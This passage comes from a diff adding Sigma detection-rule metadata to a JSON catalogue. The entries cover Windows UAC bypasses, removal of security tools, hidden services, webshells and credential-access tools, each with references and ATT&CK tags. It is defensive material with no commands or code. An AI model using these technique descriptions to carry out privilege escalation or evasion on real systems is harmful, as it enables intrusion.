"uuid": "1ca6bd18-0ba0-44ca-851c-92ed89a61085", + "value": "UAC Bypass Using Consent and Comctl32 - Process" + }, + { + "description": "Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_dismhost.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_dismhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "853e74f9-9392-4935-ad3b-2e8c040dae86", + "value": "UAC Bypass Using DismHost" + }, + { + "description": "Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate use of fodhelper.exe utility by legitimate user" + ], + "filename": "proc_creation_win_uac_bypass_fodhelper.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "7f741dcf-fc22-4759-87b4-9ae8376676a2", + "value": "Bypass UAC via Fodhelper.exe" + }, + { + "description": "Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/uac-bypass-via-windows-firewall-snap-in-hijack.html#uac-bypass-via-windows-firewall-snap-in-hijack", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ] + }, + "uuid": "e52cb31c-10ed-4aea-bcb7-593c9f4a315b", + "value": "UAC Bypass via Windows Firewall Snap-In Hijack" + }, + { + "description": "Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/09/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_icmluautil.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/uac-bypass-via-icmluautil-elevated-com-interface.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_icmluautil.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "49f2f17b-b4c8-4172-a68b-d5bf95d05130", + "value": "UAC Bypass via ICMLuaUtil" + }, + { + "description": "Detects the \"IDiagnosticProfileUAC\" UAC bypass technique", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_idiagnostic_profile.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Wh04m1001/IDiagnosticProfileUAC", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "4cbef972-f347-4170-b62a-8253f6168e6d", + "value": "UAC Bypass Using IDiagnostic Profile" + }, + { + "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_ieinstal.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "80fc36aa-945e-4181-89f2-2f907ab6775d", + "value": "UAC Bypass Using IEInstal - Process" + }, + { + "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_msconfig_gui.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "ad92e3f9-7eb6-460e-96b1-582b0ccbb980", + "value": "UAC Bypass Using MSConfig Token Modification - Process" + }, + { + "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_ntfs_reparse_point.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "39ed3c80-e6a1-431b-9df3-911ac53d08a7", + "value": "UAC Bypass Using NTFS Reparse Point - Process" + }, + { + "description": "Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_pkgmgr_dism.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_pkgmgr_dism.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "a743ceba-c771-4d75-97eb-8a90f7f4844c", + "value": "UAC Bypass Using PkgMgr and DISM" + }, + { + "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_winsat.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_winsat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "7a01183d-71a2-46ad-ad5c-acd989ac1793", + "value": "UAC Bypass Abusing Winsat Path Parsing - Process" + }, + { + "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_wmp.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "0058b9e5-bcd7-40d4-9205-95ca5a16d7b2", + "value": "UAC Bypass Using Windows Media Player - Process" + }, + { + "description": "Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, Florian Roth", + "creation_date": "2019/10/24", + "falsepositive": [ + "Unknown sub processes of Wsreset.exe" + ], + "filename": "proc_creation_win_uac_bypass_wsreset.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html", + "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", + "https://www.activecyber.us/activelabs/windows-uac-bypass", + "https://twitter.com/ReaQta/status/1222548288731217921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ] + }, + "uuid": "d797268e-28a9-49a7-b9a8-2f5039011c5c", + "value": "Bypass UAC via WSReset.exe" + }, + { + "description": "Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_wsreset_integrity_level.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", + "https://github.com/hfiref0x/UACME", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "89a9a0e0-f61a-42e5-8957-b1479565a658", + "value": "UAC Bypass WSReset" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/09/25", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_ultraviewer.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultraviewer.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "88656cec-6c3b-487c-82c0-f73ebb805503", + "value": "Use of UltraViewer Remote Access Software" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks", + "meta": { + "author": "frack113", + "creation_date": "2022/10/02", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_ultravnc.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "145322e4-0fd3-486b-81ca-9addc75736d8", + "value": "Use of UltraVNC Remote Access Software" + }, + { + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon", + "meta": { + "author": "frack113", + "creation_date": "2021/07/12", + "falsepositive": [ + "Uninstall by admin" + ], + "filename": "proc_creation_win_uninstall_crowdstrike_falcon.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_crowdstrike_falcon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "f0f7be61-9cf5-43be-9836-99d6ef448a18", + "value": "Uninstall Crowdstrike Falcon" + }, + { + "description": "Detects the uninstallation of Sysinternals Sysmon, which could be the result of legitimate administration or a manipulation for defense evasion", + "meta": { + "author": "frack113", + "creation_date": "2022/01/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uninstall_sysmon.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-11---uninstall-sysmon", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_sysmon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "6a5f68d1-c4b5-46b9-94ee-5324892ea939", + "value": "Uninstall Sysinternals Sysmon" + }, + { + "description": "Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_unusual_child_process_of_dns_exe.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-child-process-of-dns.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_child_process_of_dns_exe.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ] + }, + "uuid": "a4e3d776-f12e-42c2-8510-9e6ed1f43ec3", + "value": "Unusual Child Porcess of dns.exe" + }, + { + "description": "Detects suspicious parent process for cmd.exe", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_unusual_parent_for_cmd.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-parent-process-for-cmd.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_parent_for_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "4b991083-3d0e-44ce-8fc4-b254025d8d4b", + "value": "Unusual Parent Process for cmd.exe" + }, + { + "description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/09", + "falsepositive": [ + "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" + ], + "filename": "proc_creation_win_user_discovery_get_aduser.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_user_discovery_get_aduser.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ] + }, + "uuid": "c2993223-6da8-4b1a-88ee-668b8bf315e9", + "value": "User Discovery And Export Via Get-ADUser Cmdlet" + }, + { + "description": "Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand", + "meta": { + "author": "Teymur Kheirkhabarov", + "creation_date": "2019/10/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://pentestlab.blog/2017/03/30/weak-service-permissions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ] + }, + "uuid": "d937b75f-a665-4480-88a5-2f20e9f9b22a", + "value": "Possible Privilege Escalation via Weak Service Permissions" + }, + { + "description": "Detection of sc.exe utility adding a new service with special permission which hides that service.", + "meta": { + "author": "Andreas Hunkeler (@Karneades)", + "creation_date": "2021/12/20", + "falsepositive": [ + "Rare intended use of hidden services" + ], + "filename": "proc_creation_win_using_sc_to_hide_sevices.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_hide_sevices.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ] + }, + "uuid": "a537cfc3-4297-4789-92b5-345bfd845ad0", + "value": "Abuse of Service Permissions to Hide Services in Tools" + }, + { + "description": "Detects using SettingSyncHost.exe to run hijacked binary", + "meta": { + "author": "Anton Kutepov, oscd.community", + "creation_date": "2020/02/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_using_settingsynchost_as_lolbin.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_settingsynchost_as_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1574.008" + ] + }, + "uuid": "b2ddd389-f676-4ac4-845a-e00781a48e5f", + "value": "Using SettingSyncHost.exe as LOLBin" + }, + { + "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/17", + "falsepositive": [ + "Rare intended use of hidden services" + ], + "filename": "proc_creation_win_using_set_service_to_hide_services.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_set_service_to_hide_services.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ] + }, + "uuid": "514e4c3a-c77d-4cde-a00f-046425e2301e", + "value": "Abuse of Service Permissions to Hide Services Via Set-Service" + }, + { + "description": "Detects when verclsid.exe is used to run COM object via GUID", + "meta": { + "author": "Victor Sergeev, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_verclsid_runs_com.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", + "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", + "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "d06be4b9-8045-428b-a567-740a26d9db25", + "value": "Verclsid.exe Runs COM Object" + }, + { + "description": "Detects suspicious child process creations of VMware Tools process which may indicate persistence setup", + "meta": { + "author": "behops, Bhabesh Raj", + "creation_date": "2021/10/08", + "falsepositive": [ + "Legitimate use by administrator" + ], + "filename": "proc_creation_win_vmtoolsd_susp_child_process.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmtoolsd_susp_child_process.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1059" + ] + }, + "uuid": "5687f942-867b-4578-ade7-1e341c46e99a", + "value": "VMToolsd Suspicious Child Process" + }, + { + "description": "Detects a JAVA process running with remote debugging allowing more than just localhost to connect", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_vul_java_remote_debugging.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://dzone.com/articles/remote-debugging-java-applications-with-jdwp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vul_java_remote_debugging.yml" + ], + "tags": [ + "attack.t1203", + "attack.execution" + ] + }, + "uuid": "8f88e3f6-2a49-48f5-a5c4-2f7eedf78710", + "value": "Java Running with Remote Debugging" + }, + { + "description": "When configured with suitable command line arguments, w32tm can act as a delay mechanism", + "meta": { + "author": "frack113", + "creation_date": "2022/09/25", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_w32tm.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1124/T1124.md", + "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_w32tm.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1124" + ] + }, + "uuid": "6da2c9f5-7c53-401b-aacb-92c040ce1215", + "value": "Use of W32tm as Timer" + }, + { + "description": "Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wab_execution_from_non_default_location.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ] + }, + "uuid": "395907ee-96e5-4666-af2e-2ca91688e151", + "value": "Wab Execution From Non Default Location" + }, + { + "description": "Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wab_unusual_parents.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ] + }, + "uuid": "63d1ccc0-2a43-4f4b-9289-361b308991ff", + "value": "Wab/Wabmig Unusual Parent Or Child Processes" + }, + { + "description": "Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/14", + "falsepositive": [ + "Legitimate usage of the passwords by users via commandline (should be discouraged)", + "Other currently unknown false positives" + ], + "filename": "proc_creation_win_weak_or_abused_passwords.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_weak_or_abused_passwords.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ] + }, + "uuid": "91edcfb1-2529-4ac2-9ecc-7617f895c7e4", + "value": "Weak or Abused Passwords In CLI" + }, + { + "description": "Detect use of WebBrowserPassView.exe", + "meta": { + "author": "frack113", + "creation_date": "2022/08/20", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_webbrowserpassview.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1555.003/T1555.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webbrowserpassview.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.003" + ] + }, + "uuid": "d0dae994-26c6-4d2d-83b5-b3c8b79ae513", + "value": "Launch WebBrowserPassView Executable" + }, + { + "description": "Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells", + "meta": { + "author": "Florian Roth (rule), MSTI (query)", + "creation_date": "2022/10/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_webshell_chopper.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_chopper.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1018", + "attack.t1033", + "attack.t1087" + ] + }, + "uuid": "fa3c117a-bc0d-416e-a31b-0c0e80653efb", + "value": "Chopper Webshell Process Pattern" + }, + { + "description": "Detects certain command line parameters often used during reconnaissance activity via web shells", + "meta": { + "author": "Florian Roth, Jonhnathan Ribeiro, Anton Kutepov, oscd.community", + "creation_date": "2017/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_webshell_detection.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html", + "https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_detection.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1018", + "attack.t1033", + "attack.t1087" + ] + }, + "uuid": "bed2a484-9348-4143-8a8a-b801c979301c", + "value": "Webshell Detection With Command Line Keywords" + }, + { + "description": "Detects certain parent child patterns found in cases in which a webshell is used to perform certain credential dumping or exfiltration activities on a compromised system", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/17", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_webshell_hacking.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://youtu.be/7aemGhaE9ds?t=641", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_hacking.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1018", + "attack.t1033", + "attack.t1087" + ] + }, + "uuid": "4ebc877f-4612-45cb-b3a5-8e3834db36c9", + "value": "Webshell Hacking Activity Patterns" + }, + { + "description": "Detects processes spawned from web servers (php, tomcat, iis...etc) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands", + "meta": { + "author": "Cian Heasley, Florian Roth", + "creation_date": "2020/07/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_webshell_recon_detection.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://ragged-lab.blogspot.com/2020/07/webshells-automating-reconnaissance.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_recon_detection.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + 